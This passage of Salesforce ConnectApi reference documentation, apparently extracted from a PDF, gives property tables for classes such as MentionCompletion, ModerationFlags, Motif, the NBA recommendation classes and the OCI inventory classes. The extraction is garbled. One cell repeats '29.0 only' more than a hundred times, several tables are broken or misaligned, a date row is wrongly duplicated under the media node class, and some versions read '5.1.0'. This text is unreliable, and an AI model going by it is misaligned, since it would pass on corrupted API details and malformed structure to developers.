</tbody>
</table>

SEE ALSO:

ConnectApi.ManagedContentChannelCollection

ConnectApi.ManagedContentChannelCollection
Collection of managed content channels.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>channels</td>
<td>List&lt;ConnectApi.ManagedContent Channel&gt;</td>
<td>List of managed content channels.</td>
<td>48.0</td>
</tr>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the current page.</td>
<td>48.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the next page, or null if there isn't a next page.</td>
<td>48.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the previous page, or null if there isn't a previous page.</td>
<td>48.0</td>
</tr>
<tr>
<td>totalChannels</td>
<td>Integer</td>
<td>Total number of managed content channels.</td>
<td>48.0</td>
</tr>
</tbody>
</table>

ConnectApi.ManagedContentDateAndTimeNodeValue
Managed content node of date and time type.
Subclass of ConnectApi.ManagedContentNodeValue
### Available Version Description

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>dateTimeValue</td>
<td>Datetime</td>
<td>UTC date and time value of the managed content node.</td>
<td>48.0</td>
</tr>
<tr>
<td>timeZone</td>
<td>String</td>
<td>Time zone in which the date and time is authored.</td>
<td>48.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ManagedContentDateNodeValue

Managed content node of date type.

Subclass of ConnectApi.ManagedContentNodeValue

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>value</td>
<td>Datetime</td>
<td>Date value of the managed content node.</td>
<td>48.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ManagedContentMediaNodeValue

Managed content node of media type.

Subclass of ConnectApi.ManagedContentNodeValue

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>value</td>
<td>Datetime</td>
<td>Date value of the managed content node.</td>
<td>48.0</td>
</tr>
<tr>
<td>altText</td>
<td>String</td>
<td>Alternative text for the managed content node.</td>
<td>47.0</td>
</tr>
<tr>
<td>altUrl</td>
<td>String</td>
<td>Alternative URL for the managed content node.</td>
<td>47.0–48.0</td>
</tr>
<tr>

<tr>
<td></td>
<td></td>
<td>- Strikethrough—Strikethrough tag.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Underline—Underline tag.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- UnorderedList—Unordered list tag.</td>
<td></td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL for the segment, if available.</td>
<td>45.0</td>
</tr>
</tbody>
</table>
**ConnectApi.MarkupEndSegment**

The end of rich text markup.

Subclass of `ConnectApi.MessageSegment`

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>htmlTag</td>
<td>String</td>
<td>The HTML tag for this markup.</td>
<td>35.0</td>
</tr>
</tbody>
</table>
| markupType    | `ConnectApi.MarkupType` | Type of rich text markup.  
  • **Bold**—Bold tag.  
  • **Code**—Code tag.  
  • **Hyperlink**—Hyperlink anchor tag.  
  • **Italic**—Italic tag.  
  • **ListItem**—List item tag.  
  • **OrderedList**—Ordered list tag.  
  • **Paragraph**—Paragraph tag.  
  • **Strikethrough**—Strikethrough tag.  
  • **Underline**—Underline tag.  
  • **UnorderedList**—Unordered list tag. | 35.0              |

**ConnectApi.MediaReference**

A media reference.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>mediaUrl</td>
<td>String</td>
<td>URL to stream or download the media.</td>
<td>41.0</td>
</tr>
<tr>
<td>thumbnailUrl</td>
<td>String</td>
<td>URL of the media's thumbnail, if one exists.</td>
<td>41.0</td>
</tr>
</tbody>
</table>

SEE ALSO:  
  - `ConnectApi.FeedElementCapabilities`  
  - `ConnectApi.MediaReferenceCapability`

**ConnectApi.MediaReferenceCapability**

If a feed element has this capability, it has one or more media references.

Subclass of `ConnectApi.FeedElementCapability`.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>media</td>
<td><code>List&lt;ConnectApi.MediaReference&gt;</code></td>
<td>Collection of media references.</td>
<td>41.0</td>
</tr>
</tbody>
</table>
ConnectApi.MentionCompletion

Information about a record that could be used to @mention a user or group.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>additionalLabel</td>
<td>String</td>
<td>An additional label (if one exists) for the record represented by this completion, for example, “(Customer)” or “(Acme Corporation)”.</td>
<td>29.0</td>
</tr>
<tr>
<td>description</td>
<td>String</td>
<td>A description of the record represented by this completion.</td>
<td>29.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>The name of the record represented by this completion. The name is localized, if possible.</td>
<td>29.0</td>
</tr>
<tr>
<td>outOfOffice</td>
<td>ConnectApi.OutOfOffice</td>
<td>If the record represented by this completion is a user, an additional out-of-office message, if one exists, for the user.</td>
<td>40.0</td>
</tr>
<tr>
<td>photoUrl</td>
<td>String</td>
<td>A URL to the photo or icon of the record represented by this completion.</td>
<td>29.0</td>
</tr>
<tr>
<td>recordId</td>
<td>String</td>
<td>The ID of the record represented by this completion.</td>
<td>29.0</td>
</tr>
<tr>
<td>userType</td>
<td>ConnectApi.UserType Enum</td>
<td>If the record represented by this completion is a user, this value is the user type associated with that user; otherwise the value is null. One of these values:</td>
<td>30.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• ChatterGuest—User is an external user in a private group.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• ChatterOnly—User is a Chatter Free customer.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Guest—User is unauthenticated.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Internal—User is a standard org member.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Portal—User is an external user in an Experience Cloud site.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• System—User is Chatter Expert or a system user.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Undefined—User is a user type that is a custom object.</td>
<td></td>
</tr>
</tbody>
</table>

</table>
| user         | `ConnectApi.User Summary` | Information about the mentioned user. **Important:** In versions 29.0 and later, use the `record` property.                                           | 28.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only<br>29.0 only

### ConnectApi.MentionValidation

Information about whether a proposed mention is valid for the context user.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>recordId</td>
<td>String</td>
<td>The ID of the mentioned record.</td>
<td>29.0</td>
</tr>
</tbody>
</table>
### ConnectApi.MentionValidations

Information about whether a set of mentions is valid for the context user.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>hasErrors</td>
<td>Boolean</td>
<td>Indicates whether at least one of the proposed mentions has an error (true), or not (false).</td>
<td>29.0</td>
</tr>
<tr>
<td>mentionValidations</td>
<td>List&lt;ConnectApi.MentionValidation&gt;</td>
<td>A list of mention validation information in the same order as the provided record IDs.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**

ConnectApi.MentionValidations

### ConnectApi.MessageBody

Message body.

Subclass of ConnectApi.AbstractMessageBody
No additional properties.

SEE ALSO:
- `ConnectApi.ChatterLikesCapability`
- `ConnectApi.ChatterMessage`
- `ConnectApi.Comment`
- `ConnectApi.FeedElement`
- `ConnectApi.FeedItemSummary`

**`ConnectApi.MessageSegment`**

Message segment.

This class is abstract.

Superclass of:
- `ConnectApi.ComplexSegment`
- `ConnectApi.EntityLinkSegment`
- `ConnectApi.FieldChangeSegment`
- `ConnectApi.FieldChangeNameSegment`
- `ConnectApi.FieldChangeValueSegment`
- `ConnectApi.HashtagSegment`
- `ConnectApi.InlineImageSegment`
- `ConnectApi.LinkSegment`
- `ConnectApi.MarkupBeginSegment`
- `ConnectApi.MarkupEndSegment`
- `ConnectApi.MentionSegment`
- `ConnectApi.MoreChangesSegment`
- `ConnectApi.ResourceLinkSegment`
- `ConnectApi.TextSegment`

Message segments in a feed item are typed as `ConnectApi.MessageSegment`. Feed item capabilities are typed as `ConnectApi.FeedItemCapability`. Record fields are typed as `ConnectApi.AbstractRecordField`. These classes are all abstract and have several concrete subclasses. At runtime you can use `instanceof` to check the concrete types of these objects and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown subclasses.

⚠️ **Important:** The composition of a feed may change between releases. Your code should always be prepared to handle instances of unknown subclasses.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>text</td>
<td>String</td>
<td>Text-only rendition of this segment. If a client encounters an unknown message segment type, it can render this value.</td>
<td>28.0</td>
</tr>
</tbody>
</table>
**MessageSegment**

The message segment type. One of these values:

- EntityLink
- FieldChange
- FieldChangeName
- FieldChangeValue
- Hashtag
- InlineImage
- Link
- MarkupBegin
- MarkupEnd
- Mention
- MoreChanges
- ResourceLink
- Text

**SEE ALSO:**

- [ConnectApi.ModerationCapability](#)

**ConnectApi.ModerationCapability**

If a feed element has this capability, users in an Experience Cloud site can flag it for moderation.

Subclass of [ConnectApi.FeedElementCapability](#).

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>moderationFlags</td>
<td>ConnectApi.ModerationFlags</td>
<td>The moderation flags for this feed element. Moderators can view and take action on flagged items.</td>
<td>31.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**

- [ConnectApi.FeedElementCapabilities](#)

**ConnectApi.ModerationFlagItemDetail**

Flag details on a feed item, comment, or file.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>createdBy</td>
<td>String</td>
<td>ID of the user who flagged the item.</td>
<td>40.0</td>
</tr>
<tr>
<td>createdDate</td>
<td>Datetime</td>
<td>Date when the item was flagged.</td>
<td>40.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>ID of the moderation flag.</td>
<td>40.0</td>
</tr>
</tbody>
</table>
### Available Version

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
</table>
| moderationType | `ConnectApi. CommunityFlagType` | Type of moderation flag. Values are:  
- `FlagAsInappropriate`—Flag for inappropriate content.  
- `FlagAsSpam`—Flag for spam. | 40.0 |
| note | `String` | Note from user who flagged the item. | 40.0 |
| visibility | `ConnectApi. CommunityFlag Visibility` | Visibility behavior of a flag for various user types. Values are:  
- `ModeratorsOnly`—The flag is visible only to users with moderation permissions on the flagged element or item.  
- `SelfAndModerators`—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item. | 40.0 |

**SEE ALSO:**  
`ConnectApi.ModerationFlagsCollection`

### ConnectApi.ModerationFlags

Information about the moderation flags on a feed item, comment, or file.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>flagCount</td>
<td><code>Integer</code></td>
<td>Number of moderation flags on this feed item, comment, or file. If the context user is not a moderator, the property is <code>null</code>.</td>
<td>29.0</td>
</tr>
</tbody>
</table>
| flagCountByReason | `Map<ConnectApi. CommunityFlagReasonType, Integer>` | Number of moderation flags categorized by reason. Values for `ConnectApi. CommunityFlagReasonType` are:  
- `FlaggedByRule`—Moderation rule flagged the item.  
- `FlaggedBySystem`—Einstein flagged the item.  
- `FlaggedByUserAsInappropriate`—User flagged the item as inappropriate.  
- `FlaggedByUserAsSpam`—User flagged the item as spam. | 40.0 |
| flaggedByMe | `Boolean` | `true` if the context user flagged the feed item, comment, or file for moderation; `false` otherwise. | 29.0 |
ConnectApi.ModerationFlagsCollection

A collection of flags on a feed item, comment, or file.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageToken</td>
<td>String</td>
<td>Token identifying the current page.</td>
<td>40.0</td>
</tr>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the current page.</td>
<td>40.0</td>
</tr>
<tr>
<td>flags</td>
<td>List&lt;ConnectApi.ModerationFlagItemDetail&gt;</td>
<td>List of flag details.</td>
<td>40.0</td>
</tr>
<tr>
<td>nextPageToken</td>
<td>String</td>
<td>Token identifying the next page, or null if there isn't a next page.</td>
<td>40.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the next page, or null if there isn't a next page.</td>
<td>40.0</td>
</tr>
<tr>
<td>pageSize</td>
<td>Integer</td>
<td>Number of items per page.</td>
<td>40.0</td>
</tr>
</tbody>
</table>

ConnectApi.MoreChangesSegment

In feed items with a large number of tracked changes, the message is formatted as: “changed A, B, and made X more changes.” The MoreChangesSegment contains the “X more changes.”

Subclass of ConnectApi.MessageSegment.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>moreChanges</td>
<td>List&lt;ConnectApi.FieldChangeSegment&gt;</td>
<td>Complete list of tracked changes.</td>
<td>29.0</td>
</tr>
<tr>
<td>moreChangesCount</td>
<td>Integer</td>
<td>Number of additional changes.</td>
<td>28.0</td>
</tr>
</tbody>
</table>
ConnectApi.Motif

The motif properties contain URLs for small, medium, and large icons that indicate the Salesforce record type. Common record types are files, users, and groups, but all record types have a set of motif icons. Custom object records use their tab style icon. All icons are available to unauthenticated users so that, for example, you can display the motif icons in an email. The motif can also contain the record type’s base color.

The motif images are icons, not user uploaded images or photos. For example, every user has the same set of motif icons.

Custom object records use their tab style icon, for example, the following custom object uses the "boat" tab style:

```
"motif": {
  "color": "8C004C",
  "largeIconUrl": "/img/icon/custom51_100/boat64.png",
  "mediumIconUrl": "/img/icon/custom51_100/boat32.png",
  "smallIconUrl": "/img/icon/custom51_100/boat16.png",
  "svgIconUrl": null
},
```

Users use the following icons:

```
"motif": {
  "color": "1797C0",
  "largeIconUrl": "/img/icon/profile64.png",
  "mediumIconUrl": "/img/icon/profile32.png",
  "smallIconUrl": "/img/icon/profile16.png",
  "svgIconUrl": null
},
```

Groups use the following icons:

```
"motif": {
  "color": "1797C0",
  "largeIconUrl": "/img/icon/groups64.png",
  "mediumIconUrl": "/img/icon/groups32.png",
  "smallIconUrl": "/img/icon/groups16.png",
  "svgIconUrl": null
},
```

Files use the following icons:

```
"motif": {
  "color": "1797C0",
  "largeIconUrl": "/img/content/content64.png",
  "mediumIconUrl": "/img/content/content32.png",
  "smallIconUrl": "/img/icon/files16.png",
  "svgIconUrl": null
},
```

Note: To view the icons in the previous examples, preface the URL with `https://instance_name`. For example, `https://instance_name/img/icon/profile64.png`.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>color</td>
<td>String</td>
<td>A hex value representing the base color of the record type, or null.</td>
<td>29.0</td>
</tr>
</tbody>
</table>
### Available Version

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>largeIconUrl</td>
<td>String</td>
<td>A large icon indicating the record type.</td>
<td>28.0</td>
</tr>
<tr>
<td>mediumIconUrl</td>
<td>String</td>
<td>A medium icon indicating the record type.</td>
<td>28.0</td>
</tr>
<tr>
<td>smallIconUrl</td>
<td>String</td>
<td>A small icon indicating the record type.</td>
<td>28.0</td>
</tr>
<tr>
<td>svgIconUrl</td>
<td>String</td>
<td>An icon in SVG format indicating the record type, or null if the icon doesn’t exist.</td>
<td>34.0</td>
</tr>
</tbody>
</table>

### ConnectApi.MultipleFulfillmentOrderOutputRepresentation

List of responses for the individual FulfillmentOrder creation attempts from a create multiple fulfillment orders request.

Subclass of ConnectApi.BaseOutputRepresentation.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fulfillmentOrders</td>
<td>ConnectApi.FulfillmentGroupOutputRepresentation on page 2211&gt;</td>
<td>A list of response data for created and failed FulfillmentOrders.</td>
<td>50.0</td>
</tr>
</tbody>
</table>

### ConnectApi.MuteCapability

If a feed element has this capability, users can mute it. Muted feed elements are visible in the muted feed, and invisible in all other feeds that respect mute.

Subclass of ConnectApi.FeedElementCapability.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isMutedByMe</td>
<td>Boolean</td>
<td>Indicates whether the context user muted the feed element.</td>
<td>35.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

ConnectApi.FeedElementCapabilities

### ConnectApi.MuteSummary

Summary of a mute.

Subclass of ConnectApi.UserFeedEntityActivitySummary

No additional properties.

### ConnectApi.NBAActionParameter

A parameter for an action.
### Available Version Description Type Property Name

<table>
<thead>
<tr>
<th>Name of the parameter.</th>
<th>String</th>
<th>45.0</th>
</tr>
</thead>
<tbody>
<tr>
<td>Type of the parameter.</td>
<td>String</td>
<td>45.0</td>
</tr>
<tr>
<td>Value of the parameter.</td>
<td>String</td>
<td>45.0</td>
</tr>
</tbody>
</table>

#### ConnectApi.NBAFlowAction

A recommended flow.
Subclass of ConnectApi.AbstractNBAAction.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>flowLabel</td>
<td>String</td>
<td>Label of the recommended flow.</td>
<td>47.0</td>
</tr>
</tbody>
</table>
| flowType      | ConnectApi.NBAFlowType | Type of recommended flow. Values are:  
  - AutoLaunchedFlow—Autolaunched flow that runs in the background.  
  - Flow—Screen flow that accepts user inputs. | 47.0 |
| id            | String | ID of the flow. | 45.0 |
| name          | String | Name of the flow. | 45.0 |

#### ConnectApi.NBANativeRecommendation

A record the user is recommended to take action on.
Subclass of ConnectApi.AbstractNBATarget.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>ID of the recommendation.</td>
<td>45.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Name of the recommendation.</td>
<td>45.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL to the recommendation.</td>
<td>45.0</td>
</tr>
</tbody>
</table>

#### ConnectApi.NBARecommendation

A recommendation returned by a recommendation strategy.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>aiModel</td>
<td>String</td>
<td>Reserved for future use.</td>
<td>47.0</td>
</tr>
<tr>
<td>acceptanceLabel</td>
<td>String</td>
<td>Text indicating user acceptance of the recommendation.</td>
<td>45.0</td>
</tr>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the recommendation.</td>
<td>45.0</td>
</tr>
</tbody>
</table>
### Available Version

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>externalId</td>
<td>String</td>
<td>External ID of the recommendation. This ID doesn't need to be a Salesforce 18-character ID. For example, it can be a product number from an external system.</td>
<td>46.0</td>
</tr>
<tr>
<td>imageUrl</td>
<td>String</td>
<td>URL to the asset file to display.</td>
<td>45.0</td>
</tr>
<tr>
<td>recommendationMode</td>
<td>String</td>
<td>Reserved for future use.</td>
<td>46.0</td>
</tr>
<tr>
<td>recommendationScore</td>
<td>Double</td>
<td>Reserved for future use.</td>
<td>46.0</td>
</tr>
<tr>
<td>rejectionLabel</td>
<td>String</td>
<td>Text indicating user rejection of the recommendation.</td>
<td>45.0</td>
</tr>
<tr>
<td>target</td>
<td>ConnectApi.AbstractNBAAction</td>
<td>Target to act on.</td>
<td>45.0</td>
</tr>
<tr>
<td>targetAction</td>
<td>ConnectApi.AbstractNBAAction</td>
<td>Action to recommend.</td>
<td>45.0</td>
</tr>
</tbody>
</table>

### ConnectApi.NBARecommendations

Recommendations returned by a recommendation strategy.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>debug</td>
<td>String</td>
<td>Runtime debug information recorded during recommendation strategy execution.</td>
<td>45.0</td>
</tr>
<tr>
<td>errors</td>
<td>String</td>
<td>Runtime errors that occurred during recommendation strategy execution.</td>
<td>45.0</td>
</tr>
<tr>
<td>executionId</td>
<td>String</td>
<td>ID of the recommendation strategy execution.</td>
<td>45.0</td>
</tr>
<tr>
<td>onBehalfOfId</td>
<td>String</td>
<td>ID of the user or entity for which the recommendation strategy was executed.</td>
<td>45.0</td>
</tr>
<tr>
<td>recommendations</td>
<td>List&lt;ConnectApi.NBARecommendation&gt;</td>
<td>List of recommendations returned by a recommendation strategy.</td>
<td>45.0</td>
</tr>
<tr>
<td>trace</td>
<td>ConnectApi.StrategyTrace</td>
<td>Trace information for the recommendation strategy execution, if requested.</td>
<td>45.0</td>
</tr>
</tbody>
</table>

### ConnectApi.NewUserAudienceCriteria

Criteria for the new members type of custom recommendation audience.

Subclass of [ConnectApi.AudienceCriteria](#).
<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>maxDaysInCommunity</td>
<td>Double</td>
<td>The maximum number of days since a user became a site member.</td>
<td>36.0</td>
</tr>
</tbody>
</table>

**ConnectApi.OAuthProviderInfo**

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>authorizationUrl</td>
<td>String</td>
<td>The URL used for authorization.</td>
<td>37.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>The name of the OAuth service provider.</td>
<td>37.0</td>
</tr>
</tbody>
</table>

<tr>
<td>quantity</td>
<td>Double</td>
<td>The fulfilled quantity.</td>
<td>51.0</td>
</tr>
<tr>
<td>stockKeepingUnit</td>
<td>String</td>
<td>The SKU of the fulfilled product.</td>
<td>51.0</td>
</tr>
</tbody>
</table>

### ConnectApi.OCI Future Inventory Output Representation

An expected future inventory restock.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>expectedDate</td>
<td>Datetime</td>
<td>Date when the future inventory is expected.</td>
<td>51.0</td>
</tr>
<tr>
<td>quantity</td>
<td>Double</td>
<td>Quantity of the future inventory.</td>
<td>51.0</td>
</tr>
</tbody>
</table>

### ConnectApi.OCI Get Inventory Availability Output Representation

Response to a request for inventory availability data.

Subclass of ConnectApi.OCI Base Output Representation.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>locationGroups</td>
<td>[OCI Location Group Availability Output Representation](on page 2248)</td>

</tr>
</tbody>
</table>
### ConnectApi.OCIInventoryRecordOutputRepresentation
Inventory availability data for a product.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>availableToFulfill</td>
<td>Double</td>
<td>The Available To Fulfill quantity.</td>
<td>51.0</td>
</tr>
<tr>
<td>availableToOrder</td>
<td>Double</td>
<td>The Available To Order quantity.</td>
<td>51.0</td>
</tr>
<tr>
<td>effectiveDate</td>
<td>Datetime</td>
<td>The effective date of the inventory.</td>
<td>51.0</td>
</tr>
<tr>
<td>futures</td>
<td>ConnectApi.OCIFutureInventoryOutputRepresentation on page 2247</td>
<td>A list of any expected future inventory restocks.</td>
<td>51.0</td>
</tr>
<tr>
<td>onHand</td>
<td>Double</td>
<td>The On Hand quantity.</td>
<td>51.0</td>
</tr>
<tr>
<td>reserved</td>
<td>Double</td>
<td>The Reserved quantity.</td>
<td>51.0</td>
</tr>
<tr>
<td>safetyStockCount</td>
<td>Double</td>
<td>The Safety Stock Count.</td>
<td>51.0</td>
</tr>
<tr>
<td>stockKeepingUnit</td>
<td>String</td>
<td>The SKU of the product.</td>
<td>51.0</td>
</tr>
</tbody>
</table>

### ConnectApi.OCILocationAvailabilityOutputRepresentation
A set of inventory availability data for one inventory location.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>inventoryRecords</td>
<td>ConnectApi.OCIInventoryRecordOutputRepresentation on page 2248</td>
<td>A list of availability data for individual products at this location.</td>
<td>51.0</td>
</tr>
<tr>
<td>locationIdentifier</td>
<td>String</td>
<td>The identifier of the location.</td>
<td>51.0</td>
</tr>
</tbody>
</table>

### ConnectApi.OCILocationGroupAvailabilityOutputRepresentation
A set of inventory availability data for one inventory location group.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>inventoryRecords</td>
<td>ConnectApi.OCIInventoryRecordOutputRepresentation on page 2248</td>
<td>A list of availability data for individual products. The data combines the quantities for all locations belonging to this location group.</td>
<td>51.0</td>
</tr>
<tr>
<td>locationGroupIdentifier</td>
<td>String</td>
<td>The identifier of the location group.</td>
<td>51.0</td>
</tr>
</tbody>
</table>

### ConnectApi.OCIPublishLocationStructureOutputRepresentation
Response to a publish location structure request.

Subclass of ConnectApi.OCIBaseOutputRepresentation.
**Property Name** | **Type** | **Description** | **Available Version**
---|---|---|---
uploadId | String | Identifier of the publish job. Use this value to retrieve the status of the job. | 5.1.0

**ConnectApi.OCI Publish Location Structure Status Output Representation**

Detailed status of a publish location structure job. Subclass of `ConnectApi.OCI Base Output Representation`.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>endTimeUTC</td>
<td>String</td>
<td>The UTC time when the job finished. (for example: &quot;2020-07-06T22:54:08.012Z&quot;)</td>
<td>5.1.0</td>
</tr>
<tr>
<td>recordsProcessedCount</td>
<td>Integer</td>
<td>The number of records processed by the job.</td>
<td>5.1.0</td>
</tr>
<tr>
<td>recordsReadCount</td>
<td>Integer</td>
<td>The number of records read by the job.</td>
<td>5.1.0</td>
</tr>
<tr>
<td>recordsSkippedCount</td>
<td>Integer</td>
<td>The number of records skipped by the job.</td>
<td>5.1.0</td>
